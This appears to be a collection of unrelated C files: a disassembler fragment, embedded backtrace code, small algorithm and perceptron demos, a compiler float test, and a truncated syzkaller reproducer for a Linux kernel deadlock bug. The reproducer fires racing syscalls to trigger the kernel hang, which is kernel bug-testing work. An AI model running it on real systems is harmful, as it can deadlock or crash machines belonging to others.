MCInst_insert0(Inst, 0, MCOperand_CreateReg1(Inst, GP0Regs[Base]));
MCOperand_CreateImm0(Inst, SignExtend64(Disp << 2, 16));
MCOperand_CreateReg0(Inst, GP0Regs[Base]);
return MCDisassembler_Success;
}
static DecodeStatus decodeCRBitMOperand(MCInst *Inst, uint64_t Imm,
int64_t Address, const void *Decoder)
{
// The cr bit encoding is 0x80 >> cr_reg_num.
unsigned Zeros = CountTrailingZeros_64(Imm);
// assert(Zeros < 8 && "Invalid CR bit value");
if (Zeros >=8)
return MCDisassembler_Fail;
MCOperand_CreateReg0(Inst, CRRegs[7 - Zeros]);
return MCDisassembler_Success;
}
#include "PPCGenDisassemblerTables.inc"
static DecodeStatus getInstruction(MCInst *MI,
const uint8_t *code, size_t code_len,
uint16_t *Size,
uint64_t Address, MCRegisterInfo *MRI)
{
uint32_t insn;
DecodeStatus result;
// Get the four bytes of the instruction.
if (code_len < 4) {
// not enough data
*Size = 0;
return MCDisassembler_Fail;
}
// The instruction is big-endian encoded.
if (MI->csh->mode & CS_MODE_BIG_ENDIAN)
insn = (code[0] << 24) | (code[1] << 16) |
(code[2] << 8) | (code[3] << 0);
else
insn = (code[3] << 24) | (code[2] << 16) |
(code[1] << 8) | (code[0] << 0);
if (MI->flat_insn->detail) {
memset(MI->flat_insn->detail, 0, sizeof(cs_detail));
}
result = decodeInstruction_4(DecoderTable32, MI, insn, Address, 4);
if (result != MCDisassembler_Fail) {
*Size = 4;
return result;
}
// report error
MCInst_clear(MI);
*Size = 0;
return MCDisassembler_Fail;
}
bool PPC_getInstruction(csh ud, const uint8_t *code, size_t code_len,
MCInst *instr, uint16_t *size, uint64_t address, void *info)
{
DecodeStatus status = getInstruction(instr,
code, code_len,
size,
address, (MCRegisterInfo *)info);
return status == MCDisassembler_Success;
}
#define GET_REGINFO_MC_DESC
#include "PPCGenRegisterInfo.inc"
void PPC_init(MCRegisterInfo *MRI)
{
/*
InitMCRegisterInfo(PPCRegDesc, 279, RA, PC,
PPCMCRegisterClasses, 21,
PPCRegUnitRoots,
146,
PPCRegDiffLists,
PPCRegStrings,
PPCSubRegIdxLists,
8,
PPCSubRegIdxRanges,
PPCRegEncodingTable);
*/
MCRegisterInfo_InitMCRegisterInfo(MRI, PPCRegDesc, 279,
0, 0,
PPCMCRegisterClasses, 21,
0, 0,
PPCRegDiffLists,
0,
PPCSubRegIdxLists, 8,
0);
}
#endif
|
the_stack_data/87638719.c
|
/*
* Copyright (C) 2015-2017 Alibaba Group Holding Limited
*/
#ifdef AOS_COMP_DEBUG
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#include <limits.h>
#include <stdio.h>
#include "k_api.h"
#include "debug_api.h"
/* part of ktask_t */
typedef struct
{
void *task_stack;
}ktask_t_shadow;
extern void krhino_task_deathbed(void);
extern ktask_t_shadow *debug_task_find(char *name);
extern int debug_task_is_running(ktask_t_shadow *task);
extern void *debug_task_stack_bottom(ktask_t_shadow *task);
#if defined(__CC_ARM)
#ifdef __BIG_ENDIAN
#error "Not support big-endian!"
#endif
#elif defined(__ICCARM__)
#if (__LITTLE_ENDIAN__ == 0)
#error "Not support big-endian!"
#endif
#elif defined(__GNUC__)
#if (__BYTE_ORDER__ == __ORDER_BIG_ENDIAN__)
#error "Not support big-endian!"
#endif
#endif
#define FUNC_SIZE_LIMIT 0x2000
#define BACK_TRACE_LIMIT 64
#define LR_2_ADDR(lr) ((char *)(((int)(lr)) & 0xfffffffe))
#if defined(__ICCARM__)
static unsigned int __builtin_popcount(unsigned int u)
{
unsigned int ret = 0;
while (u) {
u = (u & (u - 1));
ret++;
}
return ret;
}
#endif
void getPLSfromCtx(void *context, char **PC, char **LR, int **SP)
{
int *ptr = context;
int exc_return;
/* reference to cpu_task_stack_init */
exc_return = ptr[8];
if ((exc_return & 0x10) == 0x10) {
*PC = (char *)ptr[15];
*LR = (char *)ptr[14];
*SP = ptr + 17;
} else {
*PC = (char *)ptr[31];
*LR = (char *)ptr[30];
*SP = ptr + 51;
}
}
/* get "blx" or "bl" before LR, return offset */
static int backtraceFindLROffset(char *LR,
int (*print_func)(const char *fmt, ...))
{
unsigned short ins16;
char s_panic_call[] = "backtrace : 0x \r\n";
LR = LR_2_ADDR(LR);
/* callstack bottom */
if (((int)LR & 0xffffffe0) == 0xffffffe0) {
/* EXC_RETURN, so here is callstack bottom of interrupt handler */
if (print_func != NULL) {
print_func("backtrace : ^interrupt^\r\n");
}
return 0;
}
if (LR == LR_2_ADDR(&krhino_task_deathbed)) {
/* task delete, so here is callstack bottom of task */
if (print_func != NULL) {
print_func("backtrace : ^task entry^\r\n");
}
return 0;
}
ins16 = *(unsigned short *)(LR - 4);
if ((ins16 & 0xf000) == 0xf000) {
if (print_func != NULL) {
k_int2str((int)LR - 4, &s_panic_call[14]);
print_func(s_panic_call);
}
return 5;
} else {
if (print_func != NULL) {
k_int2str((int)LR - 2, &s_panic_call[14]);
print_func(s_panic_call);
}
return 3;
}
}
/* find current function caller, update PC and SP
returns: 0 success
1 success and find buttom
-1 fail */
int backtraceFromStack(int **pSP, char **pPC,
int (*print_func)(const char *fmt, ...))
{
char *CodeAddr = NULL;
int *SP = *pSP;
char *PC = *pPC;
char *LR;
int i;
unsigned short ins16;
unsigned int ins32;
unsigned int framesize = 0;
unsigned int shift = 0;
unsigned int sub = 0;
unsigned int offset = 1;
if (SP == debug_task_stack_bottom(NULL)) {
if (print_func != NULL) {
print_func("backtrace : ^task entry^\r\n");
}
return 1;
}
/* func call ways:
1. "stmdb sp!, ..." or "push ..." to open stack frame and save LR
2. "sub sp, ..." or "sub.w sp, ..." to open stack more
3. call
*/
/* 1. scan code, find frame size from "push" or "stmdb sp!" */
for (i = 2; i < FUNC_SIZE_LIMIT; i += 2) {
/* find nearest "push {..., lr}" */
ins16 = *(unsigned short *)(PC - i);
if ((ins16 & 0xff00) == 0xb500) {
framesize = __builtin_popcount((unsigned char)ins16);
framesize++;
/* find double push */
ins16 = *(unsigned short *)(PC - i - 2);
if ((ins16 & 0xff00) == 0xb400) {
offset += __builtin_popcount((unsigned char)ins16);
framesize += __builtin_popcount((unsigned char)ins16);
}
CodeAddr = PC - i;
break;
}
/* find "stmdb sp!, ..." */
/* The Thumb instruction stream is a sequence of halfword-aligned
* halfwords */
ins32 = *(unsigned short *)(PC - i);
ins32 <<= 16;
ins32 |= *(unsigned short *)(PC - i + 2);
if ((ins32 & 0xFFFFF000) == 0xe92d4000) {
framesize = __builtin_popcount(ins32 & 0xfff);
framesize++;
CodeAddr = PC - i;
break;
}
}
if (CodeAddr == NULL) {
/* error branch */
if (print_func != NULL) {
print_func("Backtrace fail!\r\n");
}
return -1;
}
/* 2. scan code, find frame size from "sub" or "sub.w" */
for (i = 0; i < FUNC_SIZE_LIMIT;) {
if (CodeAddr + i > PC) {
break;
}
/* find "sub sp, ..." */
ins16 = *(unsigned short *)(CodeAddr + i);
if ((ins16 & 0xff80) == 0xb080) {
framesize += (ins16 & 0x7f);
break;
}
/* find "sub.w sp, sp, ..." */
ins32 = *(unsigned short *)(CodeAddr + i);
ins32 <<= 16;
ins32 |= *(unsigned short *)(CodeAddr + i + 2);
if ((ins32 & 0xFBFF8F00) == 0xF1AD0D00) {
sub = 128 + (ins32 & 0x7f);
shift = (ins32 >> 7) & 0x1;
shift += ((ins32 >> 12) & 0x7) << 1;
shift += ((ins32 >> 26) & 0x1) << 4;
framesize += sub<<(30 - shift);
break;
}
if ((ins16 & 0xf800) >= 0xe800) {
i += 4;
} else {
i += 2;
}
}
/* 3. output */
*pSP = SP + framesize;
LR = (char *)*(SP + framesize - offset);
offset = backtraceFindLROffset(LR, print_func);
*pPC = LR - offset;
return offset == 0 ? 1 : 0;
}
/* find current function caller, update PC and SP
returns: 0 success
1 success and find buttom
-1 fail */
int backtraceFromLR(int **pSP, char **pPC, char *LR,
int (*print_func)(const char *fmt, ...))
{
int *SP = *pSP;
char *PC = *pPC;
char *CodeAddr = NULL;
int i;
unsigned short ins16;
unsigned int framesize = 0;
unsigned int offset;
if (PC == NULL) {
offset = backtraceFindLROffset(LR, print_func);
PC = LR - offset;
*pPC = PC;
return offset == 0 ? 1 : 0;
}
/*find stack framesize:
1. "push ..." to open stack
2. "sub sp, ..." to open stack
3. 1 + 2
4. do not open stack
*/
/* 1. scan code, find frame size from "push" or "sub" */
for (i = 2; i < FUNC_SIZE_LIMIT; i += 2) {
ins16 = *(unsigned short *)(PC - i);
/* find "push {..., lr}" */
if ((ins16 & 0xff00) == 0xb500) {
/* another function */
break;
}
/* find "push {...}" */
if ((ins16 & 0xff00) == 0xb400) {
framesize = __builtin_popcount((unsigned char)ins16);
CodeAddr = PC - i;
break;
}
/* find "sub sp, ..." */
if ((ins16 & 0xff80) == 0xb080) {
framesize = (ins16 & 0x7f);
CodeAddr = PC - i;
/* find push before sub */
ins16 = *(unsigned short *)(PC - i - 2);
if ((ins16 & 0xff00) == 0xb400) {
framesize += __builtin_popcount((unsigned char)ins16);
CodeAddr = PC - i - 2;
}
break;
}
}
/* 2. check the "push" or "sub sp" belongs to another function */
if (CodeAddr != NULL) {
for (i = 2; i < PC - CodeAddr; i += 2) {
ins16 = *(unsigned short *)(PC - i);
/* find "pop {..., pc}" or "bx lr" */
if ((ins16 & 0xff00) == 0xbd00 || ins16 == 0x4770) {
/* SP no changed */
framesize = 0;
}
}
} /* else: SP no changed */
/* 3. output */
*pSP = SP + framesize;
offset = backtraceFindLROffset(LR, print_func);
*pPC = LR - offset;
return offset == 0 ? 1 : 0;
}
/* printf call stack
return levels of call stack */
int backtrace_now(int (*print_func)(const char *fmt, ...))
{
char *PC;
int *SP;
int lvl;
int ret;
if (print_func == NULL) {
print_func = printf;
}
/* compiler specific */
#if defined(__CC_ARM)
SP = (int *)__current_sp();
PC = (char *)__current_pc();
#elif defined(__ICCARM__)
asm volatile("mov %0, sp\n" : "=r"(SP));
asm volatile("mov %0, pc\n" : "=r"(PC));
#elif defined(__GNUC__)
__asm__ volatile("mov %0, sp\n" : "=r"(SP));
__asm__ volatile("mov %0, pc\n" : "=r"(PC));
#endif
print_func("========== Call stack ==========\r\n");
for (lvl = 0; lvl < BACK_TRACE_LIMIT; lvl++) {
ret = backtraceFromStack(&SP, &PC, print_func);
if (ret != 0) {
break;
}
}
print_func("========== End ==========\r\n");
return lvl;
}
/* printf call stack for task
return levels of call stack */
int backtrace_task(char *taskname, int (*print_func)(const char *fmt, ...))
{
char *PC;
char *LR;
int *SP;
int lvl;
int ret;
ktask_t_shadow *task;
if (print_func == NULL) {
print_func = printf;
}
task = debug_task_find(taskname);
if (task == NULL) {
print_func("Task not found : %s\n", taskname);
return 0;
}
if (debug_task_is_running(task)) {
print_func("Status of task \"%s\" is 'Running', Can not backtrace!\n",
taskname);
return 0;
}
getPLSfromCtx(task->task_stack, &PC, &LR, &SP);
print_func("TaskName : %s\n", taskname);
print_func("========== Call stack ==========\r\n");
for (lvl = 0; lvl < BACK_TRACE_LIMIT; lvl++) {
ret = backtraceFromStack(&SP, &PC, print_func);
if (ret != 0) {
break;
}
}
print_func("========== End ==========\r\n");
return lvl;
}
/* backtrace start with PC and SP, find LR from stack memory
return levels of call stack */
int backtrace_caller(char *PC, int *SP,
int (*print_func)(const char *fmt, ...))
{
int *bt_sp;
char *bt_pc;
int lvl, ret;
char s_panic_call[] = "backtrace : 0x \r\n";
/* caller must save LR in stack, so find LR from stack */
if (SP == NULL) {
return 0;
}
bt_sp = SP;
bt_pc = LR_2_ADDR(PC);
ret = -1;
for (lvl = 0; lvl < BACK_TRACE_LIMIT; lvl++) {
ret = backtraceFromStack(&bt_sp, &bt_pc, NULL);
if (ret != 0) {
break;
}
}
if (ret == 1) {
/* assume right! print */
k_int2str((int)PC, &s_panic_call[14]);
if (print_func != NULL) {
print_func(s_panic_call);
}
bt_sp = SP;
bt_pc = PC;
ret = -1;
for (lvl = 1; lvl < BACK_TRACE_LIMIT; lvl++) {
ret = backtraceFromStack(&bt_sp, &bt_pc, print_func);
if (ret != 0) {
break;
}
}
return lvl;
}
return 0;
}
/* backtrace start with PC SP and LR
return levels of call stack */
int backtrace_callee(char *PC, int *SP, char *LR,
int (*print_func)(const char *fmt, ...))
{
int *bt_sp;
char *bt_pc;
char *bt_lr;
int lvl, ret;
char s_panic_call[] = "backtrace : 0x \r\n";
if (SP == NULL) {
return 0;
}
/* Backtrace: assume ReturnAddr is saved in LR when exception */
k_int2str((int)PC, &s_panic_call[14]);
if (print_func != NULL) {
print_func(s_panic_call);
}
lvl = 1;
bt_sp = SP;
bt_pc = PC;
bt_lr = LR;
ret = backtraceFromLR(&bt_sp, &bt_pc, bt_lr, print_func);
if (ret == 0) {
for (; lvl < BACK_TRACE_LIMIT; lvl++) {
ret = backtraceFromStack(&bt_sp, &bt_pc, print_func);
if (ret != 0) {
break;
}
}
}
return lvl;
}
#endif
|
the_stack_data/865646.c
|
#include <stdio.h>
#include <stdlib.h>
/**
* Linear search algorithm.
*
* @param int a Search array
* @param int find Data to search
* @param int n Number of data in search array
*
* @return int Index of found data or -1
*/
int linear_search(int *a, int find, int n)
{
for (int i = 0; i < n; i++) {
if (find == *(a+i)) {
return i;
}
}
return -1;
}
int main()
{
int n=5000000, find = 5000;
printf("How many items? %d\n", n);
int *input = (int *) malloc(n * sizeof(int));
printf("Enter numbers: ");
for (int i = 0; i < n; i++) {
input[i] = i;
}
printf("Find: %d\n", find);
int position = linear_search(input, find, n);
if (position != -1) {
printf("Data found at position %d", position);
} else {
printf("Data not found");
}
free(input);
return 0;
}
|
the_stack_data/243893159.c
|
/* command----------------------------------------------------------------lassen205_18655_tests_group_4_test_2.c
$ /usr/tce/packages/xl/xl-2019.02.07/bin/xlc -o test_O0 -O0 test.c -lm
$ ./test_O0 +1.9097E306 5 5 +1.9048E306 -1.5777E-307 5 5 -0.0 +1.1982E-38 -1.7359E306 +0.0 +1.2300E305 +1.9983E-316 -1.2151E305 +1.5847E79 -1.5725E-242 -1.0469E-323 -1.9755E-306 -1.2973E-307
-inf
$ /usr/tce/packages/xl/xl-2019.02.07/bin/xlc -o test_O3 -O3 test.c -lm
$ ./test_O3 +1.9097E306 5 5 +1.9048E306 -1.5777E-307 5 5 -0.0 +1.1982E-38 -1.7359E306 +0.0 +1.2300E305 +1.9983E-316 -1.2151E305 +1.5847E79 -1.5725E-242 -1.0469E-323 -1.9755E-306 -1.2973E-307
nan
--------------------------------------------------------------------------*/
/* This is a automatically generated test. Do not modify */
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
void compute(double comp, int var_1,int var_2,double var_3,double var_4,int var_5,int var_6,double var_7,double var_8,double var_9,double var_10,double* var_11,double* var_12,double var_13,double var_14,double var_15,double var_16,double var_17,double var_18) {
for (int i=0; i < var_1; ++i) {
if (comp > (var_3 + var_4)) {
for (int i=0; i < var_2; ++i) {
comp += tanh(var_7 * +1.4761E-307 - var_8);
comp += var_9 + +1.9376E306 * var_10;
for (int i=0; i < var_5; ++i) {
var_11[i] = sin((var_13 / -1.7377E306));
var_12[i] = sin((var_14 + +1.0457E-307 / var_15));
comp = var_12[i] - var_11[i] + -1.1276E-307 + +0.0;
}
for (int i=0; i < var_6; ++i) {
comp = +1.5303E306 - ((long double)var_16 / (-0.0 / (long double)var_17 * (long double)var_18));
}
}
}
}
printf("%.17g\n", comp);
}
double* initPointer(double v) {
double *ret = (double*) malloc(sizeof(double)*10);
for(int i=0; i < 10; ++i)
ret[i] = v;
return ret;
}
int main(int argc, char** argv) {
/* Program variables */
double tmp_1 = atof(argv[1]);
int tmp_2 = atoi(argv[2]);
int tmp_3 = atoi(argv[3]);
double tmp_4 = atof(argv[4]);
double tmp_5 = atof(argv[5]);
int tmp_6 = atoi(argv[6]);
int tmp_7 = atoi(argv[7]);
double tmp_8 = atof(argv[8]);
double tmp_9 = atof(argv[9]);
double tmp_10 = atof(argv[10]);
double tmp_11 = atof(argv[11]);
double* tmp_12 = initPointer( atof(argv[12]) );
double* tmp_13 = initPointer( atof(argv[13]) );
double tmp_14 = atof(argv[14]);
double tmp_15 = atof(argv[15]);
double tmp_16 = atof(argv[16]);
double tmp_17 = atof(argv[17]);
double tmp_18 = atof(argv[18]);
double tmp_19 = atof(argv[19]);
compute(tmp_1,tmp_2,tmp_3,tmp_4,tmp_5,tmp_6,tmp_7,tmp_8,tmp_9,tmp_10,tmp_11,tmp_12,tmp_13,tmp_14,tmp_15,tmp_16,tmp_17,tmp_18,tmp_19);
return 0;
}
|
the_stack_data/154828077.c
|
#include <stdio.h>
void funB(int n);
void funA(int n){
if(n>0)
{
printf("%d ",n);
funB(n-1);
}
}
void funB(int n){
if(n>1)
{
printf("%d ",n);
funA(n/2);
}
}
int main() {
funA(20);
printf("\n");
return 0;
}
|
the_stack_data/418485.c
|
#include <stdio.h>
#include <stdlib.h>
int main() {
int i, n = 5;
int* v;
v = (int*) malloc(n *sizeof(int));
for (i = 0; i < 5; i++) {
v[i] = i;
}
return 0;
}
|
the_stack_data/242331986.c
|
int main(void) {
int a;
for (a = 0; a < 10; a++);
return a;
}
|
the_stack_data/62638316.c
|
/*****************************************************************************
* ==> Single perceptron demo -----------------------------------------------*
*****************************************************************************
* Description : A demo showing how to resolve a problem using a perceptron *
* Developer : Jean-Milost Reymond *
*****************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <math.h>
#include <time.h>
//-----------------------------------------------------------------------------
#define M_INPUT_PATTERNS 13
#define M_LEAST_MEAN_SQUARE_ERROR 0.001f
#define M_TEACHING_STEP 0.01f
#define M_CLASS_BLUE 1
#define M_CLASS_RED 0
#define M_Normalize(x) (float)((float)x / 255.0f)
//-----------------------------------------------------------------------------
// for this example let's have a few RGB color values
// as our input as can be seen in this array
int inputTable[] =
{
// RED GREEN BLUE CLASS
0, 0, 255, M_CLASS_BLUE,
0, 0, 192, M_CLASS_BLUE,
243, 80, 59, M_CLASS_RED,
255, 0, 77, M_CLASS_RED,
77, 93, 190, M_CLASS_BLUE,
255, 98, 89, M_CLASS_RED,
208, 0, 49, M_CLASS_RED,
67, 15, 210, M_CLASS_BLUE,
82, 117, 174, M_CLASS_BLUE,
168, 42, 89, M_CLASS_RED,
248, 80, 68, M_CLASS_RED,
128, 80, 255, M_CLASS_BLUE,
228, 105, 116, M_CLASS_RED,
};
//-----------------------------------------------------------------------------
/**
* Activation functions enumeration
*/
typedef enum
{
E_AF_Thresold = 0,
E_AF_Sigmoid,
E_AF_Hyperbolic_Tangent,
} EActivationFuncs;
//-----------------------------------------------------------------------------
/**
* Perceptron neuron
*/
typedef struct
{
float* m_pInputs;
float* m_pWeights;
int m_Count;
EActivationFuncs m_ActivationFunction;
} QR_Perceptron;
//-----------------------------------------------------------------------------
/**
* Creates and initializes a perceptron
*@param inputNumber - number of inputs to create and initialize
*@param function - net function to apply
*@return perceptron
*/
QR_Perceptron* Create(int inputNumber, EActivationFuncs function)
{
int i;
QR_Perceptron* pPerceptron;
// seed the random function with the current time
srand((unsigned)time(0));
// create a perceptron
pPerceptron = (QR_Perceptron*)malloc(sizeof(QR_Perceptron));
// create memory for inputs and weights, ans set function to use
pPerceptron->m_Count = inputNumber;
pPerceptron->m_pInputs = (float*)malloc(inputNumber * sizeof(float));
pPerceptron->m_pWeights = (float*)malloc(inputNumber * sizeof(float));
pPerceptron->m_ActivationFunction = function;
// populate the weight vector with values between -0.5 and 0.5
for (i = 0; i < inputNumber; ++i)
pPerceptron->m_pWeights[i] =
(((float)rand() / ((float)RAND_MAX + 1.0f)) - 0.5f);
return pPerceptron;
}
//-----------------------------------------------------------------------------
/**
* Releases a previously created perceptron
*@param pPerceptron - perceptron to release
*/
void Release(QR_Perceptron* pPerceptron)
{
free(pPerceptron->m_pInputs);
free(pPerceptron->m_pWeights);
free(pPerceptron);
}
//-----------------------------------------------------------------------------
/**
* Sets perception input
*@param index - input index to set
*@param value - input value
*/
void SetInput(QR_Perceptron* pPerceptron, int index, float value)
{
pPerceptron->m_pInputs[index] = value;
}
//-----------------------------------------------------------------------------
/**
* Calculates perceptron result, that can be connected to a net
*@param pPerceptron - perceptron to evaluate
*@return perceptron result to connect to the net
*/
float CalculateNet(QR_Perceptron* pPerceptron)
{
int i;
float action = 0.0f;
// get the potential action for this input pattern
for (i = 0; i < pPerceptron->m_Count; ++i)
action += pPerceptron->m_pInputs[i] * pPerceptron->m_pWeights[i];
// decide what to do depending on the used activation function
switch (pPerceptron->m_ActivationFunction)
{
case E_AF_Thresold:
// the treshhold function is simple. The result is 1 if x >= 0,
// and 0 if it is less than zero
if (action >= 0.0f)
action = 1.0f;
else
action = 0.0f;
break;
case E_AF_Sigmoid:
// the sigmoid function is a little more complicated. It forms a
// sigma "S" in a x-y graph, hence its name. It smoothens the output
action = 1.0f / (1.0f + exp(-action));
break;
case E_AF_Hyperbolic_Tangent:
// the hyperbolic tangent function is sometimes used instead of the sigmoid one
action = (exp(2.0f * action) - 1.0f) / (exp(2.0f * action) + 1.0f);
break;
}
return action;
}
//-----------------------------------------------------------------------------
/**
* Adjusts perceptron weights
*@param pPerceptron - perceptron containing weights to adjust
*@param teachingStep - teaching step
*@param output - output that the perceptron found
*@param target - correct output the perceptron should find
*/
void AdjustWeights(QR_Perceptron* pPerceptron,
float teachingStep,
float output,
float target)
{
int i;
// for all weights, adjust the weight vector to achieve network training
for (i = 0; i < pPerceptron->m_Count; ++i)
pPerceptron->m_pWeights[i] +=
teachingStep * (target - output) * pPerceptron->m_pInputs[i];
}
//-----------------------------------------------------------------------------
/**
* Query perceptron about a value
*@param pPerceptron - perceptron to recall
*@param red - red value
*@param green - green value
*@param blue - blue value
*@return perceptron result
*/
float Recall(QR_Perceptron* pPerceptron, float red, float green, float blue)
{
pPerceptron->m_pInputs[0] = red;
pPerceptron->m_pInputs[1] = green;
pPerceptron->m_pInputs[2] = blue;
return CalculateNet(pPerceptron);
}
//-----------------------------------------------------------------------------
/**
* Checks if a stream contains only numeric values
*@param input - input stream
*@return 1 if stream contains only numeric values, otherwise 0
*/
int IsNumeric(char input[1024])
{
int i;
for (i = 0; i < 1024; ++i)
{
// found string terminating character?
if (input[i] == '\0')
break;
// is digit?
if (input[i] >= '0' && input[i] <= '9')
continue;
return 0;
}
return 1;
}
//-----------------------------------------------------------------------------
/**
* Checks if perceptron is trained
*@param mse - mean square error
*@param funcNum - function number to use
*@return 1 if perceptron is trained, otherwise 0
*/
int IsTrained(float mse, int funcNum)
{
// dispatch function to use
switch (funcNum)
{
case 0: return (mse <= 0.0f && mse != 999.0f);
case 1: return (fabs(mse - M_LEAST_MEAN_SQUARE_ERROR) <= 0.0001f);
case 2: return (fabs(mse - M_LEAST_MEAN_SQUARE_ERROR) <= 0.0001f);
}
return 0;
}
//-----------------------------------------------------------------------------
/**
* Main entry point
*@return application result
*/
int main()
{
float output;
float result;
float mse;
float error;
int j;
int k;
int r;
int g;
int b;
int epochs;
int inputCounter;
int funcNum;
QR_Perceptron* pAnn = 0;
// to hold the console input
char input[1024];
funcNum = -1;
// query user about algorithm to use
while (funcNum < 0 || funcNum > 2)
{
printf("Which algorithm to use to evaluate the perceptron output?\r\n");
printf("1 - Thresold\r\n");
printf("2 - Sigmoid\r\n");
printf("3 - Hyperbolic tangent (NOT WORKING YET)\r\n");
scanf("%s", input);
if (!IsNumeric(input))
continue;
funcNum = atoi(input) - 1;
if (funcNum < 0 || funcNum > 2)
continue;
}
// dispatch function to use
switch (funcNum)
{
case 0:
// create a perceptron with 3 inputs, using the thresold as
// activation function
pAnn = Create(3, E_AF_Thresold);
break;
case 1:
// create a perceptron with 3 inputs, using the sigmoid as
// activation function
pAnn = Create(3, E_AF_Sigmoid);
break;
case 2:
// create a perceptron with 3 inputs, using the hyprrbolic
// tangent as activation function
pAnn = Create(3, E_AF_Hyperbolic_Tangent);
break;
}
mse = 999.0f;
epochs = 0;
// the training of the neural network
while (!IsTrained(mse, funcNum))
{
error = 0.0f;
mse = 0.0f;
inputCounter = 0;
// run through all 13 input patterns, what we call an EPOCH
for (j = 0; j < M_INPUT_PATTERNS; ++j)
{
// give the 3 RGB values to the network
for (k = 0; k < 3; ++k)
{
SetInput(pAnn, k, M_Normalize(inputTable[inputCounter]));
++inputCounter;
}
// get the output of this particular RGB pattern
output = CalculateNet(pAnn);
// add the error for this iteration to the total error
error += fabs((float)inputTable[inputCounter] - output);
// adjust the weights according to that error
AdjustWeights(pAnn, M_TEACHING_STEP, output, inputTable[inputCounter]);
// next pattern
++inputCounter;
}
// compute the mean square error for this epoch
mse = error / (float)M_INPUT_PATTERNS;
printf("The mean square error of %d epoch is %.8f\r\n", epochs, mse);
++epochs;
}
r = -1;
g = -1;
b = -1;
while (true)
{
// get red input
while (r < 0 || r > 255)
{
printf("Give a RED value (0-255)\r\n");
scanf("%s", input);
if (!IsNumeric(input))
continue;
r = atoi(input);
}
// get green input
while (g < 0 || g > 255)
{
printf("Give a GREEN value (0-255)\r\n");
scanf("%s", input);
if (!IsNumeric(input))
continue;
g = atoi(input);
}
// get blue input
while (b < 0 || b > 255)
{
printf("Give a BLUE value (0-255)\r\n");
scanf("%s", input);
if (!IsNumeric(input))
continue;
b = atoi(input);
}
// recall the neural network
result = Recall(pAnn, M_Normalize(r), M_Normalize(g), M_Normalize(b));
if (result > 0.5f)
printf("The value you entered belongs to the BLUE CLASS\r\n");
else
printf("The value you entered belongs to the RED CLASS\r\n");
printf("Do you want to continue with trying to recall values from the perceptron?\r\n");
printf("Press any key for YES and 'N' for no, to exit the program\r\n");
scanf("%s", input);
// do quit?
if (input[0] == 'n' || input[0] == 'N')
break;
// reset for next run
r = g = b = -1;
}
Release(pAnn);
return 0;
}
//-----------------------------------------------------------------------------
|
the_stack_data/510778.c
|
// possible deadlock in process_measurement (3)
// https://syzkaller.appspot.com/bug?id=ccfcdc8958f74084f16d
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void loop(void)
{
int i, call, thread;
int collide = 0;
again:
for (call = 0; call < 8; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (collide && (call % 2) == 0)
break;
event_timedwait(&th->done, 50);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
if (!collide) {
collide = 1;
goto again;
}
}
void execute_call(int call)
{
switch (call) {
case 0:
memcpy((void*)0x200000c0, "cgroup.controllers\000", 19);
syscall(__NR_openat, 0xffffff9c, 0x200000c0ul, 0x275aul, 0ul);
break;
case 1:
memcpy((void*)0x200000c0, "./file1\000", 8);
syscall(__NR_mkdir, 0x200000c0ul, 0ul);
